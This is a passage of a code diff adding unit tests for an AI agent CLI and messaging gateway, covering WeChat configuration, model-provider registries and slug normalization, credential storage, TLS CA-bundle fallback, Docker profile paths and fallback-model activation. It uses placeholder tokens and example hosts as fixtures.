+                "WEIXIN_CDN_BASE_URL": "https://cdn.example.com/c2c/",
+                "WEIXIN_DM_POLICY": "allowlist",
+                "WEIXIN_ALLOWED_USERS": "wxid_1,wxid_2",
+                "WEIXIN_HOME_CHANNEL": "wxid_1",
+                "WEIXIN_HOME_CHANNEL_NAME": "Primary DM",
+            },
+            clear=True,
+        ):
+            _apply_env_overrides(config)
+
+        platform_config = config.platforms[Platform.WEIXIN]
+        assert platform_config.enabled is True
+        assert platform_config.token == "bot-token"
+        assert platform_config.extra["account_id"] == "bot-account"
+        assert platform_config.extra["base_url"] == "https://ilink.example.com"
+        assert platform_config.extra["cdn_base_url"] == "https://cdn.example.com/c2c"
+        assert platform_config.extra["dm_policy"] == "allowlist"
+        assert platform_config.extra["allow_from"] == "wxid_1,wxid_2"
+        assert platform_config.home_channel == HomeChannel(Platform.WEIXIN, "wxid_1", "Primary DM")
+
+    def test_get_connected_platforms_includes_weixin_with_token(self):
+        config = GatewayConfig(
+            platforms={
+                Platform.WEIXIN: PlatformConfig(
+                    enabled=True,
+                    token="bot-token",
+                    extra={"account_id": "bot-account"},
+                )
+            }
+        )
+
+        assert config.get_connected_platforms() == [Platform.WEIXIN]
+
+    def test_get_connected_platforms_requires_account_id(self):
+        config = GatewayConfig(
+            platforms={
+                Platform.WEIXIN: PlatformConfig(
+                    enabled=True,
+                    token="bot-token",
+                )
+            }
+        )
+
+        assert config.get_connected_platforms() == []
+
+
+class TestWeixinSendMessageIntegration:
+    def test_parse_target_ref_accepts_weixin_ids(self):
+        assert _parse_target_ref("weixin", "wxid_test123") == ("wxid_test123", None, True)
+        assert _parse_target_ref("weixin", "filehelper") == ("filehelper", None, True)
+        assert _parse_target_ref("weixin", "group@chatroom") == ("group@chatroom", None, True)
+
+    @patch("tools.send_message_tool._send_weixin", new_callable=AsyncMock)
+    def test_send_to_platform_routes_weixin_media_to_native_helper(self, send_weixin_mock):
+        send_weixin_mock.return_value = {"success": True, "platform": "weixin", "chat_id": "wxid_test123"}
+        config = PlatformConfig(enabled=True, token="bot-token", extra={"account_id": "bot-account"})
+
+        result = asyncio.run(
+            _send_to_platform(
+                Platform.WEIXIN,
+                config,
+                "wxid_test123",
+                "hello",
+                media_files=[("/tmp/demo.png", False)],
+            )
+        )
+
+        assert result["success"] is True
+        send_weixin_mock.assert_awaited_once_with(
+            config,
+            "wxid_test123",
+            "hello",
+            media_files=[("/tmp/demo.png", False)],
+        )
+
+
+class TestWeixinRemoteMediaSafety:
+    def test_download_remote_media_blocks_unsafe_urls(self):
+        adapter = _make_adapter()
+
+        with patch("tools.url_safety.is_safe_url", return_value=False):
+            try:
+                asyncio.run(adapter._download_remote_media("http://127.0.0.1/private.png"))
+            except ValueError as exc:
+                assert "Blocked unsafe URL" in str(exc)
+            else:
+                raise AssertionError("expected ValueError for unsafe URL")

tests/hermes_cli/test_api_key_providers.py

@@ -40,6 +40,7 @@ class TestProviderRegistry:
         ("copilot", "GitHub Copilot", "api_key"),
         ("huggingface", "Hugging Face", "api_key"),
         ("zai", "Z.AI / GLM", "api_key"),
+        ("xai", "xAI", "api_key"),
         ("kimi-coding", "Kimi / Moonshot", "api_key"),
         ("minimax", "MiniMax", "api_key"),
         ("minimax-cn", "MiniMax (China)", "api_key"),
@@ -58,6 +59,12 @@ class TestProviderRegistry:
         assert pconfig.api_key_env_vars == ("GLM_API_KEY", "ZAI_API_KEY", "Z_AI_API_KEY")
         assert pconfig.base_url_env_var == "GLM_BASE_URL"
 
+    def test_xai_env_vars(self):
+        pconfig = PROVIDER_REGISTRY["xai"]
+        assert pconfig.api_key_env_vars == ("XAI_API_KEY",)
+        assert pconfig.base_url_env_var == "XAI_BASE_URL"
+        assert pconfig.inference_base_url == "https://api.x.ai/v1"
+
     def test_copilot_env_vars(self):
         pconfig = PROVIDER_REGISTRY["copilot"]
         assert pconfig.api_key_env_vars == ("COPILOT_GITHUB_TOKEN", "GH_TOKEN", "GITHUB_TOKEN")

tests/hermes_cli/test_auth_commands.py

@@ -657,3 +657,41 @@ def test_auth_remove_manual_entry_does_not_touch_env(tmp_path, monkeypatch):
 
     # .env should be untouched
     assert env_path.read_text() == "SOME_KEY=some-value\n"
+
+
+def test_auth_remove_claude_code_suppresses_reseed(tmp_path, monkeypatch):
+    """Removing a claude_code credential must prevent it from being re-seeded."""
+    monkeypatch.setenv("HERMES_HOME", str(tmp_path / "hermes"))
+    monkeypatch.delenv("ANTHROPIC_API_KEY", raising=False)
+    monkeypatch.delenv("ANTHROPIC_TOKEN", raising=False)
+    monkeypatch.delenv("CLAUDE_CODE_OAUTH_TOKEN", raising=False)
+    monkeypatch.setattr(
+        "agent.credential_pool._seed_from_singletons",
+        lambda provider, entries: (False, {"claude_code"}),
+    )
+    hermes_home = tmp_path / "hermes"
+    hermes_home.mkdir(parents=True, exist_ok=True)
+
+    auth_store = {
+        "version": 1,
+        "credential_pool": {
+            "anthropic": [{
+                "id": "cc1",
+                "label": "claude_code",
+                "auth_type": "oauth",
+                "priority": 0,
+                "source": "claude_code",
+                "access_token": "sk-ant-oat01-token",
+            }]
+        },
+    }
+    (hermes_home / "auth.json").write_text(json.dumps(auth_store))
+
+    from types import SimpleNamespace
+    from hermes_cli.auth_commands import auth_remove_command
+    auth_remove_command(SimpleNamespace(provider="anthropic", target="1"))
+
+    updated = json.loads((hermes_home / "auth.json").read_text())
+    suppressed = updated.get("suppressed_sources", {})
+    assert "anthropic" in suppressed
+    assert "claude_code" in suppressed["anthropic"]

tests/hermes_cli/test_auth_nous_provider.py

@@ -1,6 +1,7 @@
 """Regression tests for Nous OAuth refresh + agent-key mint interactions."""
 
 import json
+import os
 from datetime import datetime, timezone
 from pathlib import Path
 
@@ -10,6 +11,80 @@ import pytest
 from hermes_cli.auth import AuthError, get_provider_auth_state, resolve_nous_runtime_credentials
 
 
+# =============================================================================
+# _resolve_verify: CA bundle path validation
+# =============================================================================
+
+
+class TestResolveVerifyFallback:
+    """Verify _resolve_verify falls back to True when CA bundle path doesn't exist."""
+
+    def test_missing_ca_bundle_in_auth_state_falls_back(self):
+        from hermes_cli.auth import _resolve_verify
+
+        result = _resolve_verify(auth_state={
+            "tls": {"insecure": False, "ca_bundle": "/nonexistent/ca-bundle.pem"},
+        })
+        assert result is True
+
+    def test_valid_ca_bundle_in_auth_state_is_returned(self, tmp_path):
+        from hermes_cli.auth import _resolve_verify
+
+        ca_file = tmp_path / "ca-bundle.pem"
+        ca_file.write_text("fake cert")
+        result = _resolve_verify(auth_state={
+            "tls": {"insecure": False, "ca_bundle": str(ca_file)},
+        })
+        assert result == str(ca_file)
+
+    def test_missing_ssl_cert_file_env_falls_back(self, monkeypatch):
+        from hermes_cli.auth import _resolve_verify
+
+        monkeypatch.setenv("SSL_CERT_FILE", "/nonexistent/ssl-cert.pem")
+        monkeypatch.delenv("HERMES_CA_BUNDLE", raising=False)
+        result = _resolve_verify(auth_state={"tls": {}})
+        assert result is True
+
+    def test_missing_hermes_ca_bundle_env_falls_back(self, monkeypatch):
+        from hermes_cli.auth import _resolve_verify
+
+        monkeypatch.setenv("HERMES_CA_BUNDLE", "/nonexistent/hermes-ca.pem")
+        monkeypatch.delenv("SSL_CERT_FILE", raising=False)
+        result = _resolve_verify(auth_state={"tls": {}})
+        assert result is True
+
+    def test_insecure_takes_precedence_over_missing_ca(self):
+        from hermes_cli.auth import _resolve_verify
+
+        result = _resolve_verify(
+            insecure=True,
+            auth_state={"tls": {"ca_bundle": "/nonexistent/ca.pem"}},
+        )
+        assert result is False
+
+    def test_no_ca_bundle_returns_true(self, monkeypatch):
+        from hermes_cli.auth import _resolve_verify
+
+        monkeypatch.delenv("HERMES_CA_BUNDLE", raising=False)
+        monkeypatch.delenv("SSL_CERT_FILE", raising=False)
+        result = _resolve_verify(auth_state={"tls": {}})
+        assert result is True
+
+    def test_explicit_ca_bundle_param_missing_falls_back(self):
+        from hermes_cli.auth import _resolve_verify
+
+        result = _resolve_verify(ca_bundle="/nonexistent/explicit-ca.pem")
+        assert result is True
+
+    def test_explicit_ca_bundle_param_valid_is_returned(self, tmp_path):
+        from hermes_cli.auth import _resolve_verify
+
+        ca_file = tmp_path / "explicit-ca.pem"
+        ca_file.write_text("fake cert")
+        result = _resolve_verify(ca_bundle=str(ca_file))
+        assert result == str(ca_file)
+
+
 def _setup_nous_auth(
     hermes_home: Path,
     *,

tests/hermes_cli/test_auth_provider_gate.py

@@ -0,0 +1,78 @@
+"""Tests for is_provider_explicitly_configured()."""
+
+import json
+import os
+import pytest
+
+
+def _write_config(tmp_path, config: dict) -> None:
+    hermes_home = tmp_path / "hermes"
+    hermes_home.mkdir(parents=True, exist_ok=True)
+    import yaml
+    (hermes_home / "config.yaml").write_text(yaml.dump(config))
+
+
+def _write_auth_store(tmp_path, payload: dict) -> None:
+    hermes_home = tmp_path / "hermes"
+    hermes_home.mkdir(parents=True, exist_ok=True)
+    (hermes_home / "auth.json").write_text(json.dumps(payload, indent=2))
+
+
+def test_returns_false_when_no_config(tmp_path, monkeypatch):
+    monkeypatch.setenv("HERMES_HOME", str(tmp_path / "hermes"))
+    (tmp_path / "hermes").mkdir(parents=True, exist_ok=True)
+
+    from hermes_cli.auth import is_provider_explicitly_configured
+    assert is_provider_explicitly_configured("anthropic") is False
+
+
+def test_returns_true_when_active_provider_matches(tmp_path, monkeypatch):
+    monkeypatch.setenv("HERMES_HOME", str(tmp_path / "hermes"))
+    _write_auth_store(tmp_path, {
+        "version": 1,
+        "providers": {},
+        "active_provider": "anthropic",
+    })
+
+    from hermes_cli.auth import is_provider_explicitly_configured
+    assert is_provider_explicitly_configured("anthropic") is True
+
+
+def test_returns_true_when_config_provider_matches(tmp_path, monkeypatch):
+    monkeypatch.setenv("HERMES_HOME", str(tmp_path / "hermes"))
+    _write_config(tmp_path, {"model": {"provider": "anthropic", "default": "claude-sonnet-4-6"}})
+
+    from hermes_cli.auth import is_provider_explicitly_configured
+    assert is_provider_explicitly_configured("anthropic") is True
+
+
+def test_returns_false_when_config_provider_is_different(tmp_path, monkeypatch):
+    monkeypatch.setenv("HERMES_HOME", str(tmp_path / "hermes"))
+    _write_config(tmp_path, {"model": {"provider": "kimi-coding", "default": "kimi-k2"}})
+    _write_auth_store(tmp_path, {
+        "version": 1,
+        "providers": {},
+        "active_provider": None,
+    })
+
+    from hermes_cli.auth import is_provider_explicitly_configured
+    assert is_provider_explicitly_configured("anthropic") is False
+
+
+def test_returns_true_when_anthropic_env_var_set(tmp_path, monkeypatch):
+    monkeypatch.setenv("HERMES_HOME", str(tmp_path / "hermes"))
+    monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-ant-api03-realkey")
+    (tmp_path / "hermes").mkdir(parents=True, exist_ok=True)
+
+    from hermes_cli.auth import is_provider_explicitly_configured
+    assert is_provider_explicitly_configured("anthropic") is True
+
+
+def test_claude_code_oauth_token_does_not_count_as_explicit(tmp_path, monkeypatch):
+    """CLAUDE_CODE_OAUTH_TOKEN is set by Claude Code, not the user — must not gate."""
+    monkeypatch.setenv("HERMES_HOME", str(tmp_path / "hermes"))
+    monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "sk-ant-oat01-auto-token")
+    (tmp_path / "hermes").mkdir(parents=True, exist_ok=True)
+
+    from hermes_cli.auth import is_provider_explicitly_configured
+    assert is_provider_explicitly_configured("anthropic") is False

tests/hermes_cli/test_codex_models.py

@@ -150,6 +150,12 @@ class TestNormalizeModelForProvider:
         assert changed is False
         assert cli.model == "gpt-5.4"
 
+    def test_native_provider_prefix_is_stripped_before_agent_startup(self):
+        cli = _make_cli(model="zai/glm-5.1")
+        changed = cli._normalize_model_for_provider("zai")
+        assert changed is True
+        assert cli.model == "glm-5.1"
+
     def test_bare_codex_model_passes_through(self):
         cli = _make_cli(model="gpt-5.3-codex")
         changed = cli._normalize_model_for_provider("openai-codex")

tests/hermes_cli/test_custom_provider_model_switch.py

@@ -0,0 +1,124 @@
+"""Tests that `hermes model` always shows the model selection menu for custom
+providers, even when a model is already saved.
+
+Regression test for the bug where _model_flow_named_custom() returned
+immediately when provider_info had a saved ``model`` field, making it
+impossible to switch models on multi-model endpoints.
+"""
+
+import os
+from unittest.mock import patch, MagicMock, call
+
+import pytest
+
+
+@pytest.fixture
+def config_home(tmp_path, monkeypatch):
+    """Isolated HERMES_HOME with a minimal config."""
+    home = tmp_path / "hermes"
+    home.mkdir()
+    config_yaml = home / "config.yaml"
+    config_yaml.write_text("model: old-model\ncustom_providers: []\n")
+    env_file = home / ".env"
+    env_file.write_text("")
+    monkeypatch.setenv("HERMES_HOME", str(home))
+    monkeypatch.delenv("HERMES_MODEL", raising=False)
+    monkeypatch.delenv("LLM_MODEL", raising=False)
+    monkeypatch.delenv("HERMES_INFERENCE_PROVIDER", raising=False)
+    monkeypatch.delenv("OPENAI_BASE_URL", raising=False)
+    monkeypatch.delenv("OPENAI_API_KEY", raising=False)
+    return home
+
+
+class TestCustomProviderModelSwitch:
+    """Ensure _model_flow_named_custom always probes and shows menu."""
+
+    def test_saved_model_still_probes_endpoint(self, config_home):
+        """When a model is already saved, the function must still call
+        fetch_api_models to probe the endpoint — not skip with early return."""
+        from hermes_cli.main import _model_flow_named_custom
+
+        provider_info = {
+            "name": "My vLLM",
+            "base_url": "https://vllm.example.com/v1",
+            "api_key": "sk-test",
+            "model": "model-A",  # already saved
+        }
+
+        with patch("hermes_cli.models.fetch_api_models", return_value=["model-A", "model-B"]) as mock_fetch, \
+             patch.dict("sys.modules", {"simple_term_menu": None}), \
+             patch("builtins.input", return_value="2"), \
+             patch("builtins.print"):
+            _model_flow_named_custom({}, provider_info)
+
+        # fetch_api_models MUST be called even though model was saved
+        mock_fetch.assert_called_once_with("sk-test", "https://vllm.example.com/v1", timeout=8.0)
+
+    def test_can_switch_to_different_model(self, config_home):
+        """User selects a different model than the saved one."""
+        import yaml
+        from hermes_cli.main import _model_flow_named_custom
+
+        provider_info = {
+            "name": "My vLLM",
+            "base_url": "https://vllm.example.com/v1",
+            "api_key": "sk-test",
+            "model": "model-A",
+        }
+
+        with patch("hermes_cli.models.fetch_api_models", return_value=["model-A", "model-B"]), \
+             patch.dict("sys.modules", {"simple_term_menu": None}), \
+             patch("builtins.input", return_value="2"), \
+             patch("builtins.print"):
+            _model_flow_named_custom({}, provider_info)
+
+        config = yaml.safe_load((config_home / "config.yaml").read_text()) or {}
+        model = config.get("model")
+        assert isinstance(model, dict)
+        assert model["default"] == "model-B"
+
+    def test_probe_failure_falls_back_to_saved(self, config_home):
+        """When endpoint probe fails and user presses Enter, saved model is used."""
+        import yaml
+        from hermes_cli.main import _model_flow_named_custom
+
+        provider_info = {
+            "name": "My vLLM",
+            "base_url": "https://vllm.example.com/v1",
+            "api_key": "sk-test",
+            "model": "model-A",
+        }
+
+        # fetch returns empty list (probe failed), user presses Enter (empty input)
+        with patch("hermes_cli.models.fetch_api_models", return_value=[]), \
+             patch("builtins.input", return_value=""), \
+             patch("builtins.print"):
+            _model_flow_named_custom({}, provider_info)
+
+        config = yaml.safe_load((config_home / "config.yaml").read_text()) or {}
+        model = config.get("model")
+        assert isinstance(model, dict)
+        assert model["default"] == "model-A"
+
+    def test_no_saved_model_still_works(self, config_home):
+        """First-time flow (no saved model) still works as before."""
+        import yaml
+        from hermes_cli.main import _model_flow_named_custom
+
+        provider_info = {
+            "name": "My vLLM",
+            "base_url": "https://vllm.example.com/v1",
+            "api_key": "sk-test",
+            # no "model" key
+        }
+
+        with patch("hermes_cli.models.fetch_api_models", return_value=["model-X"]), \
+             patch.dict("sys.modules", {"simple_term_menu": None}), \
+             patch("builtins.input", return_value="1"), \
+             patch("builtins.print"):
+            _model_flow_named_custom({}, provider_info)
+
+        config = yaml.safe_load((config_home / "config.yaml").read_text()) or {}
+        model = config.get("model")
+        assert isinstance(model, dict)
+        assert model["default"] == "model-X"

tests/hermes_cli/test_gateway_service.py

@@ -755,6 +755,7 @@ class TestProfileArg:
         hermes_home = tmp_path / ".hermes"
         hermes_home.mkdir()
         monkeypatch.setattr(Path, "home", lambda: tmp_path)
+        monkeypatch.setenv("HERMES_HOME", str(hermes_home))
         result = gateway_cli._profile_arg(str(hermes_home))
         assert result == ""
 
@@ -763,6 +764,7 @@ class TestProfileArg:
         profile_dir = tmp_path / ".hermes" / "profiles" / "mybot"
         profile_dir.mkdir(parents=True)
         monkeypatch.setattr(Path, "home", lambda: tmp_path)
+        monkeypatch.setenv("HERMES_HOME", str(tmp_path / ".hermes"))
         result = gateway_cli._profile_arg(str(profile_dir))
         assert result == "--profile mybot"
 
@@ -771,6 +773,7 @@ class TestProfileArg:
         custom_home = tmp_path / "custom" / "hermes"
         custom_home.mkdir(parents=True)
         monkeypatch.setattr(Path, "home", lambda: tmp_path)
+        monkeypatch.setenv("HERMES_HOME", str(tmp_path / ".hermes"))
         result = gateway_cli._profile_arg(str(custom_home))
         assert result == ""
 
@@ -779,6 +782,7 @@ class TestProfileArg:
         nested = tmp_path / ".hermes" / "profiles" / "mybot" / "subdir"
         nested.mkdir(parents=True)
         monkeypatch.setattr(Path, "home", lambda: tmp_path)
+        monkeypatch.setenv("HERMES_HOME", str(tmp_path / ".hermes"))
         result = gateway_cli._profile_arg(str(nested))
         assert result == ""
 
@@ -787,6 +791,7 @@ class TestProfileArg:
         bad_profile = tmp_path / ".hermes" / "profiles" / "My Bot!"
         bad_profile.mkdir(parents=True)
         monkeypatch.setattr(Path, "home", lambda: tmp_path)
+        monkeypatch.setenv("HERMES_HOME", str(tmp_path / ".hermes"))
         result = gateway_cli._profile_arg(str(bad_profile))
         assert result == ""
 

tests/hermes_cli/test_model_normalize.py

@@ -102,6 +102,21 @@ class TestAggregatorProviders:
         assert result == "anthropic/claude-sonnet-4.6"
 
 
+class TestIssue6211NativeProviderPrefixNormalization:
+    @pytest.mark.parametrize("model,target_provider,expected", [
+        ("zai/glm-5.1", "zai", "glm-5.1"),
+        ("google/gemini-2.5-pro", "gemini", "google/gemini-2.5-pro"),
+        ("moonshot/kimi-k2.5", "kimi-coding", "kimi-k2.5"),
+        ("anthropic/claude-sonnet-4.6", "openrouter", "anthropic/claude-sonnet-4.6"),
+        ("Qwen/Qwen3.5-397B-A17B", "huggingface", "Qwen/Qwen3.5-397B-A17B"),
+        ("modal/zai-org/GLM-5-FP8", "custom", "modal/zai-org/GLM-5-FP8"),
+    ])
+    def test_native_provider_prefixes_are_only_stripped_on_matching_provider(
+        self, model, target_provider, expected
+    ):
+        assert normalize_model_for_provider(model, target_provider) == expected
+
+
 # ── detect_vendor ──────────────────────────────────────────────────────
 
 class TestDetectVendor:

tests/hermes_cli/test_opencode_go_in_model_list.py

@@ -0,0 +1,33 @@
+"""Test that opencode-go appears in /model list when credentials are set."""
+
+import os
+from unittest.mock import patch
+
+from hermes_cli.model_switch import list_authenticated_providers
+
+
+@patch.dict(os.environ, {"OPENCODE_GO_API_KEY": "test-key"}, clear=False)
+def test_opencode_go_appears_when_api_key_set():
+    """opencode-go should appear in list_authenticated_providers when OPENCODE_GO_API_KEY is set."""
+    providers = list_authenticated_providers(current_provider="openrouter")
+    
+    # Find opencode-go in results
+    opencode_go = next((p for p in providers if p["slug"] == "opencode-go"), None)
+    
+    assert opencode_go is not None, "opencode-go should appear when OPENCODE_GO_API_KEY is set"
+    assert opencode_go["models"] == ["glm-5", "kimi-k2.5", "mimo-v2-pro", "mimo-v2-omni", "minimax-m2.7", "minimax-m2.5"]
+    # opencode-go is in PROVIDER_TO_MODELS_DEV, so it appears as "built-in" (Part 1)
+    assert opencode_go["source"] == "built-in"
+
+
+def test_opencode_go_not_appears_when_no_creds():
+    """opencode-go should NOT appear when no credentials are set."""
+    # Ensure OPENCODE_GO_API_KEY is not set
+    env_without_key = {k: v for k, v in os.environ.items() if k != "OPENCODE_GO_API_KEY"}
+    
+    with patch.dict(os.environ, env_without_key, clear=True):
+        providers = list_authenticated_providers(current_provider="openrouter")
+        
+        # opencode-go should not be in results
+        opencode_go = next((p for p in providers if p["slug"] == "opencode-go"), None)
+        assert opencode_go is None, "opencode-go should not appear without credentials"

tests/hermes_cli/test_overlay_slug_resolution.py

@@ -0,0 +1,83 @@
+"""Test that overlay providers with mismatched models.dev keys resolve correctly.
+
+HERMES_OVERLAYS keys may be models.dev IDs (e.g. "github-copilot") while
+_PROVIDER_MODELS and config.yaml use Hermes IDs ("copilot").  The slug
+resolution in list_authenticated_providers() Section 2 must bridge this gap.
+
+Covers: #5223, #6492
+"""
+
+import json
+import os
+from unittest.mock import patch
+
+import pytest
+
+from hermes_cli.model_switch import list_authenticated_providers
+
+
+# -- Copilot slug resolution (env var path) ----------------------------------
+
+@patch.dict(os.environ, {"COPILOT_GITHUB_TOKEN": "fake-ghu"}, clear=False)
+def test_copilot_uses_hermes_slug():
+    """github-copilot overlay should resolve to slug='copilot' with curated models."""
+    providers = list_authenticated_providers(current_provider="copilot")
+
+    copilot = next((p for p in providers if p["slug"] == "copilot"), None)
+    assert copilot is not None, "copilot should appear when COPILOT_GITHUB_TOKEN is set"
+    assert copilot["total_models"] > 0, "copilot should have curated models"
+    assert copilot["is_current"] is True
+
+    # Must NOT appear under the models.dev key
+    gh_copilot = next((p for p in providers if p["slug"] == "github-copilot"), None)
+    assert gh_copilot is None, "github-copilot slug should not appear (resolved to copilot)"
+
+
+@patch.dict(os.environ, {"COPILOT_GITHUB_TOKEN": "fake-ghu"}, clear=False)
+def test_copilot_no_duplicate_entries():
+    """Copilot must appear only once — not as both 'copilot' (section 1) and 'github-copilot' (section 2)."""
+    providers = list_authenticated_providers(current_provider="copilot")
+
+    copilot_slugs = [p["slug"] for p in providers if "copilot" in p["slug"]]
+    # Should have at most one copilot entry (may also have copilot-acp if creds exist)
+    copilot_main = [s for s in copilot_slugs if s == "copilot"]
+    assert len(copilot_main) == 1, f"Expected exactly one 'copilot' entry, got {copilot_main}"
+
+
+# -- kimi-for-coding alias in auth.py ----------------------------------------
+
+def test_kimi_for_coding_alias():
+    """resolve_provider('kimi-for-coding') should return 'kimi-coding'."""
+    from hermes_cli.auth import resolve_provider
+
+    result = resolve_provider("kimi-for-coding")
+    assert result == "kimi-coding"
+
+
+# -- Generic slug mismatch providers -----------------------------------------
+
+@patch.dict(os.environ, {"KIMI_API_KEY": "fake-key"}, clear=False)
+def test_kimi_for_coding_overlay_uses_hermes_slug():
+    """kimi-for-coding overlay should resolve to slug='kimi-coding'."""
+    providers = list_authenticated_providers(current_provider="kimi-coding")
+
+    kimi = next((p for p in providers if p["slug"] == "kimi-coding"), None)
+    assert kimi is not None, "kimi-coding should appear when KIMI_API_KEY is set"
+    assert kimi["is_current"] is True
+
+    # Must NOT appear under the models.dev key
+    kimi_mdev = next((p for p in providers if p["slug"] == "kimi-for-coding"), None)
+    assert kimi_mdev is None, "kimi-for-coding slug should not appear (resolved to kimi-coding)"
+
+
+@patch.dict(os.environ, {"KILOCODE_API_KEY": "fake-key"}, clear=False)
+def test_kilo_overlay_uses_hermes_slug():
+    """kilo overlay should resolve to slug='kilocode'."""
+    providers = list_authenticated_providers(current_provider="kilocode")
+
+    kilo = next((p for p in providers if p["slug"] == "kilocode"), None)
+    assert kilo is not None, "kilocode should appear when KILOCODE_API_KEY is set"
+    assert kilo["is_current"] is True
+
+    kilo_mdev = next((p for p in providers if p["slug"] == "kilo"), None)
+    assert kilo_mdev is None, "kilo slug should not appear (resolved to kilocode)"

tests/hermes_cli/test_profiles.py

@@ -293,12 +293,16 @@ class TestGetActiveProfileName:
         monkeypatch.setenv("HERMES_HOME", str(profile_dir))
         assert get_active_profile_name() == "coder"
 
-    def test_custom_path_returns_custom(self, profile_env, monkeypatch):
+    def test_custom_path_returns_default(self, profile_env, monkeypatch):
+        """A custom HERMES_HOME (Docker, etc.) IS the default root."""
         tmp_path = profile_env
         custom = tmp_path / "some" / "other" / "path"
         custom.mkdir(parents=True)
         monkeypatch.setenv("HERMES_HOME", str(custom))
-        assert get_active_profile_name() == "custom"
+        # With Docker-aware roots, a custom HERMES_HOME is the default —
+        # not "custom".  The user is on the default profile of their
+        # custom deployment.
+        assert get_active_profile_name() == "default"
 
 
 # ===================================================================
@@ -706,6 +710,72 @@ class TestInternalHelpers:
         home = _get_default_hermes_home()
         assert home == tmp_path / ".hermes"
 
+    def test_profiles_root_docker_deployment(self, tmp_path, monkeypatch):
+        """In Docker (HERMES_HOME outside ~/.hermes), profiles go under HERMES_HOME."""
+        docker_home = tmp_path / "opt" / "data"
+        docker_home.mkdir(parents=True)
+        monkeypatch.setattr(Path, "home", lambda: tmp_path)
+        monkeypatch.setenv("HERMES_HOME", str(docker_home))
+        root = _get_profiles_root()
+        assert root == docker_home / "profiles"
+
+    def test_default_hermes_home_docker(self, tmp_path, monkeypatch):
+        """In Docker, _get_default_hermes_home() returns HERMES_HOME itself."""
+        docker_home = tmp_path / "opt" / "data"
+        docker_home.mkdir(parents=True)
+        monkeypatch.setattr(Path, "home", lambda: tmp_path)
+        monkeypatch.setenv("HERMES_HOME", str(docker_home))
+        home = _get_default_hermes_home()
+        assert home == docker_home
+
+    def test_profiles_root_profile_mode(self, tmp_path, monkeypatch):
+        """In profile mode (HERMES_HOME under ~/.hermes), profiles root is still ~/.hermes/profiles."""
+        native = tmp_path / ".hermes"
+        profile_dir = native / "profiles" / "coder"
+        profile_dir.mkdir(parents=True)
+        monkeypatch.setattr(Path, "home", lambda: tmp_path)
+        monkeypatch.setenv("HERMES_HOME", str(profile_dir))
+        root = _get_profiles_root()
+        assert root == native / "profiles"
+
+    def test_active_profile_path_docker(self, tmp_path, monkeypatch):
+        """In Docker, active_profile file lives under HERMES_HOME."""
+        from hermes_cli.profiles import _get_active_profile_path
+        docker_home = tmp_path / "opt" / "data"
+        docker_home.mkdir(parents=True)
+        monkeypatch.setattr(Path, "home", lambda: tmp_path)
+        monkeypatch.setenv("HERMES_HOME", str(docker_home))
+        path = _get_active_profile_path()
+        assert path == docker_home / "active_profile"
+
+    def test_create_profile_docker(self, tmp_path, monkeypatch):
+        """Profile created in Docker lands under HERMES_HOME/profiles/."""
+        docker_home = tmp_path / "opt" / "data"
+        docker_home.mkdir(parents=True)
+        monkeypatch.setattr(Path, "home", lambda: tmp_path)
+        monkeypatch.setenv("HERMES_HOME", str(docker_home))
+        result = create_profile("orchestrator", no_alias=True)
+        expected = docker_home / "profiles" / "orchestrator"
+        assert result == expected
+        assert expected.is_dir()
+
+    def test_active_profile_name_docker_default(self, tmp_path, monkeypatch):
+        """In Docker (no profile active), get_active_profile_name() returns 'default'."""
+        docker_home = tmp_path / "opt" / "data"
+        docker_home.mkdir(parents=True)
+        monkeypatch.setattr(Path, "home", lambda: tmp_path)
+        monkeypatch.setenv("HERMES_HOME", str(docker_home))
+        assert get_active_profile_name() == "default"
+
+    def test_active_profile_name_docker_profile(self, tmp_path, monkeypatch):
+        """In Docker with a profile active, get_active_profile_name() returns the profile name."""
+        docker_home = tmp_path / "opt" / "data"
+        profile = docker_home / "profiles" / "orchestrator"
+        profile.mkdir(parents=True)
+        monkeypatch.setattr(Path, "home", lambda: tmp_path)
+        monkeypatch.setenv("HERMES_HOME", str(profile))
+        assert get_active_profile_name() == "orchestrator"
+
 
 # ===================================================================
 # Edge cases and additional coverage

tests/hermes_cli/test_update_check.py

@@ -1,6 +1,7 @@
 """Tests for the update check mechanism in hermes_cli.banner."""
 
 import json
+import os
 import threading
 import time
 from pathlib import Path
@@ -144,7 +145,8 @@ def test_invalidate_update_cache_clears_all_profiles(tmp_path):
         p.mkdir(parents=True)
         (p / ".update_check").write_text('{"ts":1,"behind":50}')
 
-    with patch.object(Path, "home", return_value=tmp_path):
+    with patch.object(Path, "home", return_value=tmp_path), \
+         patch.dict(os.environ, {"HERMES_HOME": str(default_home)}):
         _invalidate_update_cache()
 
     # All three caches should be gone
@@ -161,7 +163,8 @@ def test_invalidate_update_cache_no_profiles_dir(tmp_path):
     default_home.mkdir()
     (default_home / ".update_check").write_text('{"ts":1,"behind":5}')
 
-    with patch.object(Path, "home", return_value=tmp_path):
+    with patch.object(Path, "home", return_value=tmp_path), \
+         patch.dict(os.environ, {"HERMES_HOME": str(default_home)}):
         _invalidate_update_cache()
 
     assert not (default_home / ".update_check").exists()

tests/run_agent/test_agent_guardrails.py

@@ -9,7 +9,9 @@ Covers three static methods on AIAgent (inspired by PR #1321 — @alireza78a):
 import types
 
 from run_agent import AIAgent
-from tools.delegate_tool import MAX_CONCURRENT_CHILDREN
+from tools.delegate_tool import _get_max_concurrent_children
+
+MAX_CONCURRENT_CHILDREN = _get_max_concurrent_children()
 
 
 # ---------------------------------------------------------------------------

tests/run_agent/test_fallback_model.py

@@ -113,6 +113,25 @@ class TestTryActivateFallback:
             assert agent.provider == "zai"
             assert agent.client is mock_client
 
+    def test_fallback_uses_resolved_normalized_model(self):
+        agent = _make_agent(
+            fallback_model={"provider": "zai", "model": "zai/glm-5.1"},
+        )
+        mock_client = _mock_resolve(
+            api_key="sk-zai-key",
+            base_url="https://api.z.ai/api/paas/v4",
+        )
+        with patch(
+            "agent.auxiliary_client.resolve_provider_client",
+            return_value=(mock_client, "glm-5.1"),
+        ):
+            result = agent._try_activate_fallback()
+
+        assert result is True
+        assert agent.model == "glm-5.1"
+        assert agent.provider == "zai"
+        assert agent.client is mock_client
+
     def test_activates_kimi_fallback(self):
         agent = _make_agent(
             fallback_model={"provider": "kimi-coding", "model": "kimi-k2.5"},

tests/run_agent/test_run_agent.py

@@ -138,6 +138,48 @@ def test_aiagent_reuses_existing_errors_log_handler():
             root_logger.addHandler(handler)
 
 
+class TestProviderModelNormalization:
+    def test_aiagent_strips_matching_native_provider_prefix(self):
+        with (
+            patch(
